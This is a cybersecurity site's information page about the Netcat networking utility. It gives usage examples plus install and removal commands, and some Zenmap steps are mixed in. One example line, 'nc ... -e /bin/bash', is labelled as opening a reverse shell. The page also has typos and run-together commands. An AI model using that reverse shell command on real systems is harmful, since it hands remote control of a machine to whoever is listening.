Netcat is a computer networking utility that allows users to establish a TCP or UDP connection between two computers. It is designed to be a dependable back-end tool that can be used directly or easily driven by other programs and scripts. Netcat is a feature-rich network debugging and investigation tool that can produce almost any kind of connection its user could need and has a number of built-in capabilities.0 It can be used by server administrators to send files from a client to a server and back directly with other programs and scripts. Netcat functions as a back-end tool that allows for port scanning and port listening. It is considered a Swiss army knife of networking tools and is available for Linux, macOS, Windows, and BSD.
SYSTEM REQUIREMENTS
RAM : Minimam 1 GB, depends on the size of the data being transferred.
Storage : 1 MB (Lightweight tool).
OS : Compatible with Linux, macOS, Windows, and BSD.
Architecture : Supports both 32-bit and 64-bit systems.
Available On : PC
ADDITIONAL INFORMATION
Originally developed by Hobbit.
1995.
139 KB
Known for its simplicity and effectiveness in networking tasks.
English
March 1996, version 1.10
The original version is no longer updated, but modern variants like OpenBSD Netcat and Ncat (part of the Nmap suite) are actively maintained.
Written in C.
Cross-platform
Varies by version; the original Netcat is under a permissive license, while some modern variants are under the GNU General Public License (GPL).
Netcat is a versatile networking tool used for debugging, monitoring, and transferring data across network connections. Here are some examples of its usage :
nc -z -v 192.168.1.1 20-80Scans ports 20 to 80 on the target IP (192.168.1.1) to check which ones are open.
nc -l -p 1234 > received_file.txtnc 192.168.1.2 1234 < file_to_send.txtTransfers file_to_send.txt to the receiving machine.
nc -l -p 5000nc 192.168.1.1 5000Creates a basic chat session between two machines.
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80Sends an HTTP GET request to example.com
nc -l -p 4444nc 192.168.1.2 4444 -e /bin/bashOpens a reverse shell connection.
nc -l -p 8080 | nc target_server 80Sets up a simple proxy server.
nc -u 192.168.1.1 1234Establishes a UDP connection to the target IP and port.
$ sudo apt-get uapdate
$ sudo apt install netcat-traditional
which ncIf it returns a path (e.g., /usr/bin/nc), Netcat is already installed.
$ sudo apt update
$ sudo apt install netcat
Some systems may require specifying a variant, such as netcat-openbsd or netcat-traditional.
sudo yum install ncOr for newer versions :
sudo dnf install nc
sudo pacman -S netcatncat -h to check if Netcat is installed correctly.Zenmap is GUI version of Nmap for MacOS
brew install nmap.dmg file.open /Applications/Zenmap.app
$ sudo apt remove netcat
$ sudo apt autoclean && apt autoremove
sudo apt remove netcatTo remove configuration files as well : sudo apt purge netcat
sudo yum remove ncOr :
sudo dnf remove nc
sudo pacman -R netcatbrew uninstall nmaprm -rf ~/.zenmapIf you're facing issues with Zenmap on macOS Sonoma 14.5, some users have reported that it only works when launched via the command line. You might need to run : sudo /Applications/Zenmap.app/Contents/MacOS/Zenmap
Copyright © 2025 HACKERSPOT
All original content, including tools, software, and other information, is protected by copyright and remains the property of its respective owners.
HackerSpot is an informational platform that offers resources such as tools, software, courses, internships, and various other materials aimed at supporting individuals passionate about CyberSecurity and IT.